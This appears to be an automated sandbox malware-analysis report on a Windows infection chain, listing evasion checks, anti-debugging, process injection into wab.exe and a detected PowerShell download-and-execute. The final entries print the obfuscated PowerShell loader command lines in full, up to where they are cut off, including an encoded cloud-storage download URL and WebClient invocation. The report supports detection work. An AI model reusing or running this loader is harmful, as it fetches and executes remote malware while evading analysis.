Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wab.exe

API/Special instruction interceptor: Address: 4BB833B

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 20B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 20C50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 20B60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9921			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9853			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7416

Thread sleep count: 9853 > 30

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Program Files (x86)\Windows Mail\wab.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: wab.exe, 0000000F.00000002.882847947414.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882847947414.00000000050EF000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050AD000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000009.00000002.882938896282.0000021672499000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllat
Source: powershell.exe, 0000000D.00000002.878917749751.0000000008746000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 15_2_22C95380 CheckRemoteDebuggerPresent,

15_2_22C95380

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 13_2_02CED8D0 LdrInitializeThunk,LdrInitializeThunk,

13_2_02CED8D0

Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

Code function: 16_2_007E2A7E GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,

16_2_007E2A7E

Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Code function: 16_2_007E3450 SetUnhandledExceptionFilter,		16_2_007E3450
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Code function: 16_2_007E32C0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		16_2_007E32C0

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_2680.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6840, type: MEMORYSTR

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 4460000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2EDFB78			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'nugacities komedianter104 palatalise hygiejnekommsionens redesignating ungrubbed fondshandler fiskeflaaderne discophile curarize anmeldtes refracting hellenizer teknologipolitiks generalstabskorts dubitate blodfattigheds helcology cavillation fallesen alouatta vitial unemptiable datasikkerheds nugacities komedianter104 palatalise hygiejnekommsionens redesignating ungrubbed fondshandler fiskeflaaderne discophile curarize anmeldtes refracting hellenizer teknologipolitiks generalstabskorts dubitate blodfattigheds helcology cavillation fallesen alouatta vitial unemptiable datasikkerheds';if (${host}.currentculture) {$smaastykker++;}function immatrikulationens($marios){$syntomy=$marios.length-$smaastykker;$pronenesses='substri';$pronenesses+='ng';for( $dipsomaniacs=2;$dipsomaniacs -lt $syntomy;$dipsomaniacs+=3){$nugacities+=$marios.$pronenesses.invoke( $dipsomaniacs, $smaastykker);}$nugacities;}function influerende($svippedes){ . ($gnier111) ($svippedes);}$sclaffs=immatrikulationens 'humn,ogazhuikal,elbeada/p,5la.fr0ru he(a wpuicun udkuo .wsls l .n step li1 b0fy.p,0.y;i. .ewcaib,ns,6di4te;vi bx,o6e.4,i;no burulvgl:un1co2sy1d.. u0 n)sw igscev c.hkcyono/ c2ch0cu1tr0di0ko1dr0pe1li awf.ni drareorft.osixco/r 1 2re1 j.so0.a ';$dissers=immatrikulationens 'g u es ne .r,e-ida agemes,nsttso ';$redesignating=immatrikulationens ' rhaft ctbeps sku:va/ p/ .datrudif,vovesa. ugtaosko,eg ulsoeca.syc uo emve/,eubeckr?d,ecoxi,p ko ,r stin=,ediro .wk.n.el,rochagld.a&fristd.e=ac1n,t utax o3inpkagrov .qomo mu ayreud.nov0unpmovfifa.0s.s ,1prvchusao,eok.v,upv,zvace 7ar6phtud5 ';$bourre=immatrikulationens 's,>i ';$gnier111=immatrikulationens 'friske ix ';$hoodwinked='fiskeflaaderne';$parastades = immatrikulationens ' fegacf,h fo,r .l%k.a epalpspdjiaoutpeau,%,l\frbmoe ol ylatet rkiipacun7c.4 f.g,ab,f rsek fo&st&k, hecyc dhkloco u.t n ';influerende (immatrikulationens 'ti$exgallidohubbea klsa: .cdehjeahecspocun nn fegur us j1 s7a,2.v=be(caccammads si/tucex co$p.ptwasirdeas.s,ft aaaedreekospe),r ');influerende (immatrikulationens 'sn$s.g olcuofobtuanoll :krhkoybag .idiei,junnske uk oo amvemeksmii oo .nubedenudsw,= t$derjae.jd ee .sbiiingopn,sayat risonfeg t.c.s.vpb.lgei stun(fa$ ub o au.tr frbyep.) ');influerende (immatrikulationens ' t[ in ieurtps.p s,berer iv .iticreedupplo iiafno,tlims,alin ta hg mekordi]no:fi: spre,gcs,utir iunt,eyampbrrceo ettrouscstosvl e ,o= t i [anndreunt.k.f sdeewectuu .r.hi ,t,myatp.tr sohitfoom,cduo lunt.uy apsle r] l:s.: ,toflsmspa1un2 a ');$redesignating=$hygiejnekommsionens[0];$fangstbaaden190= (immatrikulationens 'am$,igunlhaoeqbkla.al,e:.lkcoosun ,sfoe rk mvteec,nl,thjeposos=.mnfieopws -w,o ab .jbleincdetca ths pyresanttee .mmu.epn kep.t a.s,wsoe,ebovc .lfaikbea.nlkt');$fangstbaaden190+=$chaconners172[1];influerende ($fangstbaaden190);influerende (immatrikulationens 'ar$tokfookvnovsk.edok,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "cls;write 'nugacities komedianter104 palatalise hygiejnekommsionens redesignating ungrubbed fondshandler fiskeflaaderne discophile curarize anmeldtes refracting hellenizer teknologipolitiks generalstabskorts dubitate blodfattigheds helcology cavillation fallesen alouatta vitial unemptiable datasikkerheds nugacities komedianter104 palatalise hygiejnekommsionens redesignating ungrubbed fondshandler fiskeflaaderne discophile curarize anmeldtes refracting hellenizer teknologipolitiks generalstabskorts dubitate blodfattigheds helcology cavillation fallesen alouatta vitial unemptiable datasikkerheds';if (${host}.currentculture) {$smaastykker++;}function immatrikulationens($marios){$syntomy=$marios.length-$smaastykker;$pronenesses='substri';$pronenesses+='ng';for( $dipsomaniacs=2;$dipsomaniacs -lt $syntomy;$dipsomaniacs+=3){$nugacities+=$marios.$pronenesses.invoke( $dipsomaniacs, $smaastykker);}$nugacities;}function influerende($svippedes){ . ($gnier111) ($svippedes);}$sclaffs=immatrikulationens 'humn,ogazhuikal,elbeada/p,5la.fr0ru he(a wpuicun udkuo .wsls l .n step li1 b0fy.p,0.y;i. .ewcaib,ns,6di4te;vi bx,o6e.4,i;no burulvgl:un1co2sy1d.. u0 n)sw igscev c.hkcyono/ c2ch0cu1tr0di0ko1dr0pe1li awf.ni drareorft.osixco/r 1 2re1 j.so0.a ';$dissers=immatrikulationens 'g u es ne .r,e-ida agemes,nsttso ';$redesignating=immatrikulationens ' rhaft ctbeps sku:va/ p/ .datrudif,vovesa. ugtaosko,eg ulsoeca.syc uo emve/,eubeckr?d,ecoxi,p ko ,r stin=,ediro 